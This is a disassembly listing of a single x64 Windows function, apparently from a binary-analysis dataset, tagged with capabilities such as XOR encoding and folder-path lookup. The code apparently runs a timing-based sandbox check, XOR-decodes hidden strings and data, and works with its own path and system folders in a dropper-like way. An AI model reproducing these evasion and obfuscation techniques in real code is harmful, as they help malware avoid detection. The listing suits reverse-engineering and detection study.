Function at 0x140001770
Capabilities:
Encode data using xor
Get common file path
Get program files directory

Disassembly:
push r15
mov eax, 0x10f18
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000f3a0
sub rsp, rax
movaps xmmword [rsp + 0x10ef0], xmm6
movaps xmmword [rsp + 0x10f00], xmm7
mov rsi, qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rsp + 0x48], 0xfffffffffc6c7900
call rsi
lea rdx, [rsp + 0x48]
xor ecx, ecx
mov rbx, rax
call fcn.140004ac2
call rsi
sub rbx, rax
cmp rbx, 0x157b
ja 0x1400017f0
movaps xmm6, xmmword [rsp + 0x10ef0]
movaps xmm7, xmmword [rsp + 0x10f00]
xor eax, eax
add rsp, 0x10f18
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call fcn.140003070
movdqa xmm0, xmmword [0x1403e7020]
mov ebx, 0xffffcfbf
lea rcx, [0x140034360]
mov word [rsp + 0xfa0], bx
movaps xmmword [rsp + 0xef0], xmm0
movdqa xmm0, xmmword [0x1403e7030]
movaps xmmword [rsp + 0xf00], xmm0
movdqa xmm0, xmmword [0x1403e7040]
movaps xmmword [rsp + 0xf10], xmm0
movdqa xmm0, xmmword [0x1403e7050]
movaps xmmword [rsp + 0xf20], xmm0
movdqa xmm0, xmmword [0x1403e7060]
movaps xmmword [rsp + 0xf30], xmm0
movdqa xmm0, xmmword [0x1403e7070]
movaps xmmword [rsp + 0xf40], xmm0
movdqa xmm0, xmmword [0x1403e7080]
movaps xmmword [rsp + 0xf50], xmm0
movdqa xmm0, xmmword [0x1403e7090]
movaps xmmword [rsp + 0xf60], xmm0
movdqa xmm0, xmmword [0x1403e70a0]
movaps xmmword [rsp + 0xf70], xmm0
movdqa xmm0, xmmword [0x1403e70b0]
movaps xmmword [rsp + 0xf80], xmm0
movdqa xmm0, xmmword [0x1403e70c0]
movaps xmmword [rsp + 0xf90], xmm0
call fcn.14000ff50
lea rcx, [0x140034340]
mov rbx, rax
call fcn.14000ff50
cmp byte [rbx], 0
mov r12, rax
jne 0x14000199a
movdqa xmm2, xmmword [rsp + 0xef0]
xor r8d, r8d
mov rdx, rax
movdqa xmm3, xmmword [rsp + 0xf00]
movdqa xmm4, xmmword [rsp + 0xf10]
mov r11d, 0xffffcfbf
movdqa xmm5, xmmword [rsp + 0xf20]
mov byte [rax + 0xb2], 1
movups xmmword [rax], xmm2
lea rcx, [0x140022ca0]
movdqa xmm2, xmmword [rsp + 0xf30]
movdqa xmm1, xmmword [rsp + 0xf70]
movdqa xmm6, xmmword [rsp + 0xf80]
movups xmmword [rax + 0x10], xmm3
movdqa xmm7, xmmword [rsp + 0xf90]
movdqa xmm3, xmmword [rsp + 0xf40]
movups xmmword [rax + 0x20], xmm4
movdqa xmm4, xmmword [rsp + 0xf50]
movups xmmword [rax + 0x30], xmm5
movdqa xmm5, xmmword [rsp + 0xf60]
mov word [rax + 0xb0], r11w
movups xmmword [rax + 0x40], xmm2
movups xmmword [rax + 0x50], xmm3
movups xmmword [rax + 0x60], xmm4
movups xmmword [rax + 0x70], xmm5
movups xmmword [rax + 0x80], xmm1
movups xmmword [rax + 0x90], xmm6
movups xmmword [rax + 0xa0], xmm7
mov byte [rbx], 1
call fcn.14000ec60
cmp byte [r12 + 0xb2], 0
je 0x1400019e0
movabs r8, 0x4fb7d5f3ab95cfbf
xor eax, eax
nop dword [rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r12 + rax*2], dx
add rax, 1
cmp rax, 0x59
jne 0x1400019b8
mov byte [r12 + 0xb2], 0
mov rdx, r12
mov ecx, 1
lea rbp, [rsp + 0xef0]
call fcn.140002ef0
lea rsi, [0x140033020]
mov ecx, 0x26
mov rdi, rbp
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x1400343a0]
movzx eax, word [rsi]
mov word [rdi], ax
call fcn.14000ff50
lea rcx, [0x140034380]
mov rbx, rax
call fcn.14000ff50
cmp byte [rbx], 0
mov r12, rax
jne 0x140001a8a
mov byte [rax + 0x132], 1
mov rsi, rbp
xor r8d, r8d
mov rdx, r12
mov rax, qword [rsp + 0xef0]
lea rdi, [r12 + 8]
and rdi, 0xfffffffffffffff8
mov qword [r12], rax
mov rax, qword [rsp + 0x101a]
mov qword [r12 + 0x12a], rax
mov rax, r12
sub rax, rdi
sub rsi, rax
add eax, 0x132
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
mov byte [rbx], 1
lea rcx, [0x140022bf0]
call fcn.14000ec60
cmp byte [r12 + 0x132], 0
je 0x140001ad2
movabs r8, 0x8107f5017dbbf511
xor eax, eax
nop dword [rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r12 + rax*2], dx
add rax, 1
cmp rax, 0x99
jne 0x140001aa8
mov byte [r12 + 0x132], 0
xor ebx, ebx
mov rdx, r12
lea rdi, [rsp + 0x80]
xor ecx, ecx
call fcn.140002ef0
mov rax, rbx
mov ecx, 0x41
lea r12, [rsp + 0x80]
rep stosq qword [rdi], rax
xor r9d, r9d
xor r8d, r8d
mov r13, qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edx, 0x25
mov qword [rsp + 0x20], r12
lea rdi, [rsp + 0x290]
lea r14, [rsp + 0x290]
call r13
mov rax, rbx
mov ecx, 0x41
mov rdx, r14
rep stosq qword [rdi], rax
mov r8d, 0x104
lea rdi, [rsp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, rbx
mov ecx, 0x41
xor r9d, r9d
rep stosq qword [rdi], rax
lea rbx, [rsp + 0x4a0]
xor r8d, r8d
mov edx, 0x26
mov qword [rsp + 0x20], rbx
call r13
mov r10d, 0xffffb1df
movdqa xmm0, xmmword [0x1403e70d0]
lea rcx, [0x1400343e0]
mov word [rsp + 0xf24], r10w
movaps xmmword [rsp + 0xef0], xmm0
movdqa xmm0, xmmword [0x1403e70e0]
mov dword [rsp + 0xf20], 0xdfa8cdff
movaps xmmword [rsp + 0xf00], xmm0
movdqa xmm0, xmmword [0x1403e70f0]
movaps xmmword [rsp + 0xf10], xmm0
call fcn.14000ff50
lea rcx, [0x1400343c0]
mov rsi, rax
call fcn.14000ff50
cmp byte [rsi], 0
mov r15, rax
jne 0x140001c29
mov r9d, 0xffffb1df
mov byte [rax + 0x36], 1
xor r8d, r8d
mov rdx, rax
movdqa xmm2, xmmword [rsp + 0xef0]
mov dword [rax + 0x30], 0xdfa8cdff
lea rcx, [0x140022c40]
movdqa xmm3, xmmword [rsp + 0xf00]
mov word [rax + 0x34], r9w
movdqa xmm4, xmmword [rsp + 0xf10]
movups xmmword [rax], xmm2
movups xmmword [rax + 0x10], xmm3
movups xmmword [rax + 0x20], xmm4
mov byte [rsi], 1
call fcn.14000ec60
cmp byte [r15 + 0x36], 0
je 0x140001c64
movabs r8, 0xc59f7d31b1dfcd87
xor eax, eax
nop dword [rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r15 + rax*2], dx
add rax, 1
cmp rax, 0x1b
jne 0x140001c40
mov byte [r15 + 0x36], 0
mov rdx, r15
mov rcx, rbx
lea rsi, [0x140033160]
mov rdi, rbp
call sub.msvcrt.dll_wcscat
mov ecx, 0xde
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x140034420]
call fcn.14000ff50
lea rcx, [0x140034400]
mov qword [rsp + 0x38], rax
call fcn.14000ff50
mov rdx, qword [rsp + 0x38]
mov r15, rax
cmp byte [rdx], 0
jne 0x140001d02
mov byte [rax + 0x6f0], 1
lea rdi, [r15 + 8]
mov rsi, rbp
xor r8d, r8d
mov rax, qword [rsp + 0xef0]
and rdi, 0xfffffffffffffff8
mov qword [r15], rax
mov rax, qword [rsp + 0x15d8]
mov qword [r15 + 0x6e8], rax
mov rax, r15
sub rax, rdi
sub rsi, rax
add eax, 0x6f0
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
mov byte [rdx], 1
lea rcx, [0x140022c90]
mov rdx, r15
call fcn.14000ec60
cmp byte [r15 + 0x6f0], 0
je 0x140001d49
movabs r8, 0xf5578f1333032df5
xor eax, eax
nop dword [rax + rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r15 + rax*2], dx
add rax, 1
cmp rax, 0x378
jne 0x140001d20
mov byte [r15 + 0x6f0], 0
mov qword [rsp + 0x20], rbx
mov r9, rbx
mov rdx, r15
mov r8, rbx
mov ecx, 1
lea rsi, [rsp + 0x6b0]
mov rdi, rsi
call fcn.140002ef0
movdqa xmm0, xmmword [0x1403e7100]
xor eax, eax
mov ecx, 0x41
rep stosq qword [rdi], rax
mov r8d, 0xfffffbd1
movabs rdx, 0xd1dabf83fb72179b
lea rcx, [0x140034460]
mov qword [rsp + 0xf00], rdx
mov word [rsp + 0xf08], r8w
movaps xmmword [rsp + 0xef0], xmm0
call fcn.14000ff50
lea rcx, [0x140034440]
mov rdi, rax
call fcn.14000ff50
cmp byte [rdi], 0
mov r15, rax
jne 0x140001e06
movdqa xmm5, xmmword [rsp + 0xef0]
mov ecx, 0xfffffbd1
mov byte [rax + 0x1a], 1
xor r8d, r8d
movabs rdx, 0xd1dabf83fb72179b
mov word [rax + 0x18], cx
lea rcx, [0x140022bd0]
mov qword [rax + 0x10], rdx
mov rdx, rax
movups xmmword [rax], xmm5
mov byte [rdi], 1
call fcn.14000ec60
cmp byte [r15 + 0x1a], 0
je 0x140001e38
movabs rax, 0xd1bfbffbfb1717b5
xor word [r15 + 0x18], 0xfbd1
movabs rdx, 0x6b6bdfdffbfbd1
xor qword [r15], rax
xor qword [r15 + 8], rdx
xor qword [r15 + 0x10], rax
mov byte [r15 + 0x1a], 0
mov rdx, r12
mov rcx, rsi
mov r8, r15
call fcn.140003670
mov rdx, rbx
mov rcx, r14
call sub.msvcrt.dll__wcsicmp
test eax, eax
jne 0x1400027ac
movdqa xmm0, xmmword [0x1403e7110]
lea r15, [rsp + 0x8c0]
xor eax, eax
mov ecx, 0x41
mov rdi, r15
rep stosq qword [rdi], rax
movaps xmmword [rsp + 0xef0], xmm0
movdqa xmm0, xmmword [0x1403e7120]
lea rcx, [0x1400344e0]
movaps xmmword [rsp + 0xf00], xmm0
call fcn.14000ff50
lea rcx, [0x1400344c0]
mov rdi, rax
call fcn.14000ff50
cmp byte [rdi], 0
mov rbx, rax
jne 0x140001ee3
movdqa xmm1, xmmword [rsp + 0xef0]
mov byte [rax + 0x20], 1
xor r8d, r8d
mov rdx, rax
movdqa xmm6, xmmword [rsp + 0xf00]
lea rcx, [0x140022c00]
movups xmmword [rax], xmm1
movups xmmword [rax + 0x10], xmm6
mov byte [rdi], 1
call fcn.14000ec60
cmp byte [rbx + 0x20], 0
je 0x140001f10
movabs rdx, 0xf8b8b9d9d9b9be7
xor qword [rbx], rdx
movabs rax, 0x71717f7f5d5d0f
xor qword [rbx + 0x10], rdx
xor qword [rbx + 8], rax
xor qword [rbx + 0x18], rax
mov byte [rbx + 0x20], 0
mov r8, rbx
mov rdx, rsi
mov rcx, r15
movabs rbx, 0x1f1a7b5b373257fc
call fcn.140003670
mov esi, dword [0x140074f80]
lea rcx, [0x140034780]
mov edx, esi
call fcn.140001670
movdqa xmm0, xmmword [0x1403e7130]
lea rcx, [0x140034520]
mov qword [rsp + 0xf10], rbx
mov qword [rsp + 0x38], rax
movaps xmmword [rsp + 0xef0], xmm0
movdqa xmm0, xmmword [0x1403e7140]
mov dword [rsp + 0xf18], 0x7fbfbf77
movaps xmmword [rsp + 0xf00], xmm0
call fcn.14000ff50
lea rcx, [0x140034500]
mov rdi, rax
call fcn.14000ff50
cmp byte [rdi], 0
mov r14, rax
jne 0x140001fd4
movdqa xmm7, xmmword [rsp + 0xef0]
mov byte [rax + 0x2c], 1
xor r8d, r8d
mov rdx, rax
movdqa xmm1, xmmword [rsp + 0xf00]
mov qword [rax + 0x20], rbx
lea rcx, [0x140022c10]
mov dword [rax + 0x28], 0x7fbfbf77
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm1
mov byte [rdi], 1
call fcn.14000ec60
cmp byte [r14 + 0x2c], 0
je 0x140002014
movabs r8, 0xe57fbf1f7b375791
xor eax, eax
nop word [rax + rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r14 + rax*2], dx
add rax, 1
cmp rax, 0x16
jne 0x140001ff0
mov byte [r14 + 0x2c], 0
mov rcx, r14
call fcn.140003020
test al, al
je 0x1400028d4
xor eax, eax
lea rdi, [rsp + 0xad0]
xor r9d, r9d
xor r8d, r8d
mov ecx, 0x41
mov edx, 0x26
lea r14, [rsp + 0xad0]
movabs rsi, 0x7914676705345ded
rep stosq qword [rdi], rax
mov qword [rsp + 0x20], r14
call r13
movdqa xmm0, xmmword [0x1403e7150]
lea rcx, [0x140034560]
mov qword [rsp + 0xf00], rsi
mov dword [rsp + 0xf08], 0x3b414125
movaps xmmword [rsp + 0xef0], xmm0
call fcn.14000ff50
lea rcx, [0x140034540]
mov rbx, rax
call fcn.14000ff50
cmp byte [rbx], 0
mov r13, rax
jne 0x1400020d1
movdqa xmm6, xmmword [rsp + 0xef0]
mov byte [rax + 0x1c], 1
xor r8d, r8d
mov rdx, rax
mov qword [rax + 0x10], rsi
lea rcx, [0x140022be0]
mov dword [rax + 0x18], 0x3b414125
movups xmmword [rax], xmm6
mov byte [rbx], 1
call fcn.14000ec60
cmp byte [r13 + 0x1c], 0
je 0x140002105
movabs rax, 0x79676705055d5da1
xor dword [r13 + 0x18], 0x3b414179
movabs rdx, 0x9b9b3b3b414179
xor qword [r13], rax
xor qword [r13 + 8], rdx
xor qword [r13 + 0x10], rax
mov byte [r13 + 0x1c], 0
mov rdx, r13
mov rcx, r14
lea r13, [rsp + 0xce0]
call sub.msvcrt.dll_wcscat
mov rdi, r13
xor eax, eax
mov ecx, 0x41
rep stosq qword [rdi], rax
movdqa xmm0, xmmword [0x1403e7160]
mov edx, 0xffffe305
lea rcx, [0x1400345a0]
mov word [rsp + 0xf00], dx
movaps xmmword [rsp + 0xef0], xmm0
call fcn.14000ff50
lea rcx, [0x140034580]
mov rsi, rax
call fcn.14000ff50
cmp byte [rsi], 0
mov rbx, rax
jne 0x140002193
movdqa xmm7, xmmword [rsp + 0xef0]
mov byte [rax + 0x12], 1
xor r8d, r8d
mov rdx, rbx
lea rcx, [0x140022cb0]
movups xmmword [rax], xmm7
mov eax, 0xffffe305
mov word [rbx + 0x10], ax
mov byte [rsi], 1
call fcn.14000ec60
cmp byte [rbx + 0x12], 0
je 0x1400021be
movabs rax, 0x8fafafbbbbe3e305
xor word [rbx + 0x10], 0xe305
xor qword [rbx], rax
movabs rax, 0xededc1c1e7e78f
xor qword [rbx + 8], rax
mov byte [rbx + 0x12], 0
mov r8, rbx
mov rdx, r14
mov rcx, r13
call fcn.140003670
mov ebx, dword [0x140078870]
lea rcx, [0x140074fa0]
mov edx, ebx
call fcn.140001670
mov r8d, ebx
mov rcx, r13
mov rdx, rax
call fcn.1400041b0
lea rcx, [0x1400345e0]
call fcn.14000ff50
lea rcx, [0x1400345c0]
mov rsi, rax
call fcn.14000ff50
cmp byte [rsi], 0
mov rbx, rax
jne 0x140002237
mov byte [rax + 8], 1
xor r8d, r8d
movabs rax, 0x751d1db7c5a2cf39
mov rdx, rbx
mov qword [rbx], rax
lea rcx, [0x140022c60]
mov byte [rsi], 1
call fcn.14000ec60
cmp byte [rbx + 8], 0
je 0x140002255
movq xmm0, qword [rbx]
mov byte [rbx + 8], 0
movq xmm1, qword [0x1403e7170]
pxor xmm0, xmm1
movq qword [rbx], xmm0
movdqa xmm0, xmmword [0x1403e7180]
lea rcx, [0x140034620]
mov qword [rsp + 0x50], rbx
movaps xmmword [rsp + 0xef0], xmm0
movdqa xmm0, xmmword [0x1403e7190]
movaps xmmword [rsp + 0xf00], xmm0
movdqa xmm0, xmmword [0x1403e71a0]
movaps xmmword [rsp + 0xf10], xmm0
call fcn.14000ff50
lea rcx, [0x140034600]
mov rsi, rax
call fcn.14000ff50
cmp byte [rsi], 0
mov rbx, rax
jne 0x1400022ec
movdqa xmm2, xmmword [rsp + 0xef0]
mov byte [rax + 0x30], 1
xor r8d, r8d
mov rdx, rax
movdqa xmm3, xmmword [rsp + 0xf00]
lea rcx, [0x140022c20]
movdqa xmm4, xmmword [rsp + 0xf10]
movups xmmword [rax], xmm2
movups xmmword [rax + 0x10], xmm3
movups xmmword [rax + 0x20], xmm4
mov byte [rsi], 1
call fcn.14000ec60
cmp byte [rbx + 0x30], 0
je 0x140002322
movabs r8, 0x5d8743751dc5cf41
xor eax, eax
nop
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [rbx + rax*2], dx
add rax, 1
cmp rax, 0x18
jne 0x140002300
mov byte [rbx + 0x30], 0
lea rsi, [0x140033860]
mov ecx, 0x91
mov rdi, rbp
mov qword [rsp + 0x58], rbx
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x140034660]
mov eax, dword [rsi]
mov dword [rdi], eax
movzx eax, word [0x140033cec]
mov word [rdi + 4], ax
call fcn.14000ff50
lea rcx, [0x140034640]
mov r13, rax
call fcn.14000ff50
cmp byte [r13], 0
mov rbx, rax
jne 0x1400023c6
mov byte [rax + 0x48e], 1
mov rsi, rbp
xor r8d, r8d
mov rdx, rbx
mov rax, qword [rsp + 0xef0]
lea rdi, [rbx + 8]
and rdi, 0xfffffffffffffff8
mov qword [rbx], rax
mov rax, qword [rsp + 0x1376]
mov qword [rbx + 0x486], rax
mov rax, rbx
sub rax, rdi
sub rsi, rax
add eax, 0x48e
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
mov byte [r13], 1
lea rcx, [0x140022c80]
call fcn.14000ec60
cmp byte [rbx + 0x48e], 0
je 0x140002407
movabs r8, 0x5d8743751dc5cf41
xor eax, eax
nop dword [rax + rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [rbx + rax*2], dx
add rax, 1
cmp rax, 0x247
jne 0x1400023e0
mov byte [rbx + 0x48e], 0
lea rcx, [0x1400346a0]
mov qword [rsp + 0x60], rbx
call fcn.14000ff50
lea rcx, [0x140034680]
mov rsi, rax
call fcn.14000ff50
cmp byte [rsi], 0
mov rbx, rax
jne 0x140002455
mov byte [rax + 8], 1
xor r8d, r8d
movabs rax, 0x751d1dadc5bbcf24
mov rdx, rbx
mov qword [rbx], rax
lea rcx, [0x140022c60]
mov byte [rsi], 1
call fcn.14000ec60
cmp byte [rbx + 8], 0
je 0x140002473
movq xmm0, qword [rbx]
mov byte [rbx + 8], 0
movq xmm1, qword [0x1403e7170]
pxor xmm0, xmm1
movq qword [rbx], xmm0
movdqa xmm0, xmmword [0x1403e71b0]
lea rcx, [0x1400346e0]
mov qword [rsp + 0x68], rbx
movaps xmmword [rsp + 0xef0], xmm0
movdqa xmm0, xmmword [0x1403e71c0]
movaps xmmword [rsp + 0xf00], xmm0
movdqa xmm0, xmmword [0x1403e71d0]
movaps xmmword [rsp + 0xf10], xmm0
call fcn.14000ff50
lea rcx, [0x1400346c0]
mov rsi, rax
call fcn.14000ff50
cmp byte [rsi], 0
mov rbx, rax
jne 0x14000250a
movdqa xmm5, xmmword [rsp + 0xef0]
mov byte [rax + 0x30], 1
xor r8d, r8d
mov rdx, rax
movdqa xmm1, xmmword [rsp + 0xf00]
lea rcx, [0x140022c20]
movdqa xmm6, xmmword [rsp + 0xf10]
movups xmmword [rax], xmm5
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm6
mov byte [rsi], 1
call fcn.14000ec60
cmp byte [rbx + 0x30], 0
je 0x140002542
movabs r8, 0x5d8743751dc5cf41
xor eax, eax
nop dword [rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [rbx + rax*2], dx
add rax, 1
cmp rax, 0x18
jne 0x140002520
mov byte [rbx + 0x30], 0
lea rsi, [0x140033d00]
mov ecx, 0x7c
mov rdi, rbp
mov qword [rsp + 0x70], rbx
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x140034720]
mov eax, dword [rsi]
mov dword [rdi], eax
movzx eax, word [0x1400340e4]
mov word [rdi + 4], ax
call fcn.14000ff50
lea rcx, [0x140034700]
mov r13, rax
call fcn.14000ff50
cmp byte [r13], 0
mov rbx, rax
jne 0x1400025e6
mov byte [rax + 0x3e6], 1
mov rsi, rbp
xor r8d, r8d
mov rdx, rbx
mov rax, qword [rsp + 0xef0]
lea rdi, [rbx + 8]
and rdi, 0xfffffffffffffff8
mov qword [rbx], rax
mov rax, qword [rsp + 0x12ce]
mov qword [rbx + 0x3de], rax
mov rax, rbx
sub rax, rdi
sub rsi, rax
add eax, 0x3e6
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
mov byte [r13], 1
lea rcx, [0x140022c50]
call fcn.14000ec60
cmp byte [rbx + 0x3e6], 0
jne 0x14000276e
lea rcx, [0x140034760]
mov qword [rsp + 0x78], rbx
lea r14, [0x140022c70]
call fcn.14000ff50
lea rcx, [0x140034740]
lea rbx, [rsp + 0x50]
mov rdi, rax
call fcn.14000ff50
movq xmm7, qword [0x1403e71e0]
movq xmm6, qword [0x1403e71e8]
mov rsi, rax
cmp byte [rdi], 0
mov r13, qword [rbx]
jne 0x140002653
mov byte [rsi + 8], 1
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
movq qword [rsi], xmm7
mov byte [rdi], 1
call fcn.14000ec60
cmp byte [rsi + 8], 0
je 0x140002669
movq xmm0, qword [rsi]
mov byte [rsi + 8], 0
pxor xmm0, xmm6
movq qword [rsi], xmm0
mov rdx, r13
mov rcx, rsi
call sub.msvcrt.dll__wcsicmp
xor edx, edx
mov r8d, 0xfffe
mov rcx, rbp
mov r13d, eax
call sub.msvcrt.dll_memset
mov r8, qword [rbx + 0x10]
mov rdx, r12
mov rcx, rbp
call fcn.140003670
test r13d, r13d
jne 0x1400026d8
movsxd r15, dword [0x1401ff080]
lea rcx, [0x140078880]
mov rdx, r15
call fcn.140001670
mov rcx, qword [rbx + 8]
mov r13, rax
call fcn.140003020
test al, al
je 0x1400026fe
add rbx, 0x18
cmp rbx, r12
jne 0x140002632
jmp 0x1400017c8
movsxd r15, dword [0x1403e5aa0]
lea rcx, [0x1401ff0a0]
mov rdx, r15
call fcn.140001670
mov rcx, qword [rbx + 8]
mov r13, rax
call fcn.140003020
test al, al
jne 0x1400026c1
mov rdx, r13
xor r9d, r9d
mov r8d, r15d
mov rcx, rbp
call fcn.140004590
mov r13, rax
test rax, rax
je 0x140002761
cmp byte [0x1403f4040], 0
jne 0x140002741
mov rax, qword [str.X___]
xor r8d, r8d
mov edx, 1
lea r9, [0x1403f4040]
mov ecx, 0x14
call qword [rax]
test eax, eax
js 0x140002761
mov r9d, 4
lea r8, [rsp + 0x44]
mov edx, 0x1d
mov rcx, r13
mov dword [rsp + 0x44], 1
call fcn.140004ab3
mov rcx, r13
call fcn.140004a1d
jmp 0x1400026c1
movabs r8, 0x5d8743751dc5cf41
xor eax, eax
nop word [rax + rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [rbx + rax*2], dx
add rax, 1
cmp rax, 0x1f3
jne 0x140002780
mov byte [rbx + 0x3e6], 0
jmp 0x1400025f3
lea rdx, [rsp + 0xce0]
mov rcx, r14
lea rsi, [0x140034100]
mov rdi, rbp
call fcn.1400040f0
mov rcx, rbx
mov rdx, rax
mov eax, dword [rsp + 0xce0]
lea r8d, [rax + 1]
mov dword [rsp + 0xce0], r8d
call fcn.1400041b0
mov ecx, 0x3f
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x1400344a0]
mov eax, dword [rsi]
mov dword [rdi], eax
movzx eax, word [0x1400342fc]
mov word [rdi + 4], ax
call fcn.14000ff50
lea rcx, [0x140034480]
mov r13, rax
call fcn.14000ff50
cmp byte [r13], 0
mov r12, rax
jne 0x14000287b
mov byte [rax + 0x1fe], 1
mov rsi, rbp
xor r8d, r8d
mov rdx, r12
mov rax, qword [rsp + 0xef0]
lea rdi, [r12 + 8]
and rdi, 0xfffffffffffffff8
mov qword [r12], rax
mov rax, qword [rsp + 0x10e6]
mov qword [r12 + 0x1f6], rax
mov rax, r12
sub rax, rdi
lea ecx, [rax + 0x1fe]
sub rsi, rax
shr ecx, 3
rep movsq qword [rdi], qword [rsi]
mov byte [r13], 1
lea rcx, [0x140022c30]
call fcn.14000ec60
cmp byte [r12 + 0x1fe], 0
je 0x1400028c2
movabs r8, 0x75eb2f5947b10f6b
xor eax, eax
nop word [rax + rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r12 + rax*2], dx
add rax, 1
cmp rax, 0xff
jne 0x140002898
mov byte [r12 + 0x1fe], 0
mov r8, rbx
mov rdx, r12
xor ecx, ecx
call fcn.140002ef0
jmp 0x1400017c8
mov rdx, qword [rsp + 0x38]
xor r9d, r9d
mov r8d, esi
mov rcx, r15
call fcn.140004590
mov r14, rax
test rax, rax
je 0x14000293a
cmp byte [0x1403f4040], 0
jne 0x140002919
mov rax, qword [str.X___]
xor r8d, r8d
mov edx, 1
lea r9, [0x1403f4040]
mov ecx, 0x14
call qword [rax]
test eax, eax
js 0x14000293a
mov r9d, 4
mov r8, rbp
mov edx, 0x1d
mov rcx, r14
mov dword [rsp + 0xef0], 1
call fcn.140004ab3
mov rcx, r14
call fcn.140004a1d
jmp 0x140002024